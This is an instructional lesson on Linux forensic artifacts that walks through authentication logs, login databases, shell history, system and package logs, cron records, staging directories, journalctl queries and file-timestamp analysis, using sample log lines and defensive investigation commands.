Linux Forensic Artifacts

Why Linux Forensics Is Different

Windows forensics has the registry, prefetch, event logs, and a rich set of structured databases that record system activity. Linux forensics is fundamentally different. There is no registry. There is no prefetch. The evidence is scattered across dozens of plain-text log files, binary login databases, shell history files, and filesystem metadata — each maintained by a different subsystem with its own format, rotation schedule, and retention policy.

This fragmentation is both a challenge and an opportunity. Attackers who are comfortable evading Windows forensic tools often underestimate the depth of evidence Linux systems retain. A single auth.log entry can prove an attacker authenticated via SSH at 03:17 from a Tor exit node. A forgotten bash_history entry can reveal the exact exfiltration command. A stat command on a suspicious binary can establish when it was placed on the system.

The key to Linux forensics is knowing where to look and what normal looks like so you can identify what does not belong.

Click to enlarge

Authentication Logs: auth.log and secure

The authentication log is the single most important artifact on a Linux system. On Debian/Ubuntu systems, it lives at /var/log/auth.log. On RHEL/CentOS/Fedora, the equivalent is /var/log/secure. Both record the same categories of events — only the path and minor formatting differences change.

Successful Login Events

Feb 14 03:17:42 web-prod-01 sshd[28491]: Accepted publickey for deploy from 10.20.30.5 port 48221 ssh2: RSA SHA256:xK7j...
Feb 14 03:17:42 web-prod-01 sshd[28491]: pam_unix(sshd:session): session opened for user deploy(uid=1001) by (uid=0)
Feb 14 03:17:42 web-prod-01 systemd-logind[892]: New session 347 of user deploy.

Every successful SSH login produces at least three log entries: the authentication method and source IP, the PAM session open, and the systemd-logind session creation. The source IP and port, the username, the key fingerprint (for key-based auth), and the exact timestamp are all forensically significant.

Failed Login Attempts

Feb 14 02:58:11 web-prod-01 sshd[27834]: Failed password for root from 185.220.101.33 port 54122 ssh2
Feb 14 02:58:14 web-prod-01 sshd[27834]: Failed password for root from 185.220.101.33 port 54122 ssh2
Feb 14 02:58:16 web-prod-01 sshd[27836]: Failed password for invalid user admin from 185.220.101.33 port 54198 ssh2

Failed attempts reveal brute-force attacks, credential stuffing, and username enumeration. The phrase "invalid user" indicates the attacker tried a username that does not exist on the system — useful for distinguishing targeted attacks (valid usernames) from spray attacks (random usernames).

Sudo Usage

Feb 14 03:22:07 web-prod-01 sudo: deploy : TTY=pts/0 ; PWD=/home/deploy ; USER=root ; COMMAND=/usr/bin/apt update
Feb 14 03:24:15 web-prod-01 sudo: deploy : TTY=pts/0 ; PWD=/tmp ; USER=root ; COMMAND=/bin/bash /tmp/.x/setup.sh

Sudo entries record the invoking user, the target user (usually root), the working directory, and the full command. The second entry above is suspicious — a user running a hidden script from /tmp as root warrants immediate investigation.

SSH Session Details

Feb 14 03:17:42 web-prod-01 sshd[28491]: Accepted publickey for deploy from 10.20.30.5 port 48221 ssh2: RSA SHA256:xK7j...
Feb 14 04:45:01 web-prod-01 sshd[28491]: Received disconnect from 10.20.30.5 port 48221:11: disconnected by user
Feb 14 04:45:01 web-prod-01 sshd[28491]: pam_unix(sshd:session): session closed for user deploy

The session open and close entries let you calculate session duration. A 90-minute SSH session from an internal IP may be normal admin work. A 90-minute session from an external IP at 3 AM is not.

Binary Login Databases: wtmp, btmp, lastlog

Unlike text-based auth.log, Linux maintains three binary databases that record login activity at the system level.

wtmp Analysis

last -f /var/log/wtmp -i -F | head -30

The -i flag shows full IP addresses (not hostnames), and -F shows complete timestamps. Look for: logins from unexpected IPs, sessions at unusual hours, abnormally long sessions, and the reboot pseudo-user entries that mark system restarts.

btmp for Brute-Force Evidence

lastb -f /var/log/btmp -i | head -50

btmp records every failed login attempt system-wide. A burst of hundreds of entries targeting root from a single IP is definitive brute-force evidence. Cross-reference with auth.log to determine whether the attacker eventually succeeded.

Bash History: Reconstructing Commands

Every interactive bash session records commands to ~/.bash_history (or the file specified by $HISTFILE). This is often the most direct evidence of what an attacker did on the system.

Normal vs Suspicious History

cat /home/deploy/.bash_history

Look for:

History Clearing Indicators

If .bash_history is empty or suspiciously short for a long-lived account, the attacker likely cleared it. Check for:

stat /home/deploy/.bash_history

ls -la /home/deploy/.bash_history

grep -r "HISTSIZE\|HISTFILESIZE\|HISTFILE\|unset HIST" /home/deploy/.bashrc /home/deploy/.profile

A HISTSIZE=0 or HISTFILESIZE=0 in .bashrc means the user (or attacker) configured the shell to record nothing. A recent modification time on an empty .bash_history suggests manual clearing.

System Logs: syslog and kern.log

/var/log/syslog

The general-purpose system log captures messages from most services and daemons. On RHEL/CentOS, the equivalent is /var/log/messages. Key forensic events include:

• Service starts and stops (daemon restarts that coincide with compromise)
• Network interface changes (new interfaces, promiscuous mode)
• Application errors immediately before or after the incident
• DNS resolution failures (C2 domain lookups that failed)

/var/log/kern.log

Kernel messages include hardware events, driver loads, and kernel module operations. Forensically relevant entries:

Feb 14 03:25:01 web-prod-01 kernel: [284519.432] device eth0 entered promiscuous mode
Feb 14 03:25:03 web-prod-01 kernel: [284521.108] nf_conntrack: table full, dropping packet

Promiscuous mode on a production server indicates packet sniffing. Conntrack table overflow may indicate scanning or tunneling activity generating massive connection volumes.

Package Management Logs

Package installation and removal are logged by the package manager and provide evidence of attacker tool installation.

Debian/Ubuntu (/var/log/dpkg.log and /var/log/apt/history.log):

grep " install " /var/log/dpkg.log | tail -20

cat /var/log/apt/history.log

RHEL/CentOS (/var/log/yum.log or dnf history):

cat /var/log/yum.log | tail -20

dnf history
dnf history info <transaction-id>

If an attacker installed nmap, netcat, or gcc (to compile a local exploit), the package manager logged it.

Cron and At Job Artifacts

Beyond the crontab files themselves (covered in Module 6), the cron daemon logs execution to syslog:

Feb 14 03:30:01 web-prod-01 CRON[29102]: (root) CMD (/tmp/.x/beacon.sh)
Feb 14 03:35:01 web-prod-01 CRON[29187]: (root) CMD (/tmp/.x/beacon.sh)

Cron execution logs in syslog provide timestamps of every scheduled job run, even if the crontab itself was later deleted. At jobs leave artifacts in /var/spool/at/ and can be listed with atq.

/tmp and /dev/shm Analysis

Attackers use world-writable directories as staging areas because they require no special permissions.

ls -laR /tmp /var/tmp /dev/shm 2>/dev/null

find /tmp /var/tmp /dev/shm -type f -exec file {} \;

find /tmp /var/tmp /dev/shm -name ".*" -ls

Look for: ELF binaries, shell scripts, compressed archives, hidden files (dot-prefix), files owned by unexpected users, and files with recent modification times that coincide with the incident window.

Systemd Journal Forensics

Modern Linux distributions use systemd-journald as a structured logging layer alongside (or replacing) traditional syslog. The journal stores logs in a binary format under /var/log/journal/ and is queried with journalctl.

journalctl --since "2026-02-14 03:00" --until "2026-02-14 05:00"

journalctl -u sshd --since "2026-02-14 02:00"

journalctl _UID=1001 --since "2026-02-14 03:00"

journalctl -k --since "2026-02-14 03:00"

The journal supports filtering by time range, service unit, user ID, priority level, and kernel messages. It also records boot sessions (journalctl --list-boots), which helps establish system restart history.

File Metadata: stat, find, and Inode Analysis

Filesystem metadata is the silent witness of Linux forensics. Every file carries three timestamps and an inode number that together tell a story.

The Three Timestamps

stat /tmp/.x/beacon.sh

ctime cannot be faked without raw disk manipulation. If an attacker uses touch to modify mtime, ctime still reflects when the modification occurred.

Finding Files by Time

find / -mtime -1 -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null

find / -ctime -1 -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null

find / -newer /var/log/auth.log.1 -type f -not -path "/proc/*" 2>/dev/null

These commands find files modified or changed within the last 24 hours, or files newer than a reference file. Combined with the incident timeline, they reveal what the attacker created, modified, or touched.

Inode Analysis

ls -li /tmp/.x/

Inode numbers are assigned sequentially. If surrounding files have inodes in the 200,000 range but a suspicious file has inode 850,000, it was created much later than its neighbors — regardless of what the timestamps say.

Deleted File Recovery Considerations

When an attacker deletes a file, the directory entry is removed but the data blocks remain on disk until overwritten. If the file is still open by a running process, it can be recovered from /proc/[pid]/fd/.

ls -la /proc/*/fd 2>/dev/null | grep "(deleted)"

cp /proc/<pid>/fd/<fd_number> /tmp/recovered_file

For files no longer held open, tools like extundelete (ext3/ext4) or photorec can scan free blocks for recoverable data. This requires working on a forensic image — never run recovery tools on a live evidence disk.

Click to enlarge

Putting It All Together: Investigation Workflow

A Linux forensic investigation follows a consistent sequence:

1. Preserve — Image the disk, capture volatile data (/dev/shm, /proc), record running processes and network connections
2. Authentication trail — Parse auth.log + wtmp/btmp to establish who logged in, when, from where, and whether brute-force preceded successful access
3. Command reconstruction — Collect all bash_history files to determine what the attacker executed
4. Service and scheduled task audit — Check for persistence via systemd services, cron, at jobs, and shell profiles
5. Staging area sweep — Examine /tmp, /var/tmp, and /dev/shm for attacker tools and staging artifacts
6. File timeline — Use find with time-based filters and stat to identify files created or modified during the incident window
7. Package audit — Review dpkg/yum logs for unauthorized software installations
8. Kernel and system logs — Check kern.log and syslog for anomalous events (promiscuous mode, module loads, service crashes)
9. Correlate — Align all findings onto a single timeline, cross-referencing with SIEM alerts

Key Takeaways

• auth.log (Debian/Ubuntu) or secure (RHEL/CentOS) is the single most important Linux forensic artifact, recording SSH sessions, failed logins, sudo usage, and PAM events
• wtmp records successful logins (read with last), btmp records failed logins (read with lastb), and lastlog shows the most recent login per user — all are binary databases that can be truncated by attackers
• bash_history provides direct command evidence, but attackers can clear it — check file timestamps and HISTSIZE settings to detect anti-forensic clearing
• Package management logs (dpkg.log, yum.log) reveal attacker tool installation; cron execution logs in syslog provide timestamps even if the crontab was deleted
• /tmp, /var/tmp, and /dev/shm are attacker staging areas — /dev/shm is RAM-backed and volatile, making it the highest-priority collection target
• File timestamps (atime, mtime, ctime) and inode numbers provide timeline evidence that is difficult to forge — ctime updates even when attackers use touch to fake mtime
• systemd journal (journalctl) provides structured, filterable logs that complement traditional text-based syslog

What's Next

In Lesson 9.5 — Memory Forensics with Volatility 3, you will move beyond disk-based artifacts to analyze the contents of physical memory. Memory forensics reveals evidence that never touches the filesystem — fileless malware, encryption keys in use, injected code in running processes, and network connections that no log file recorded. You will learn to acquire memory images, navigate the Volatility 3 framework, and use its plugin ecosystem to extract forensic gold from RAM dumps.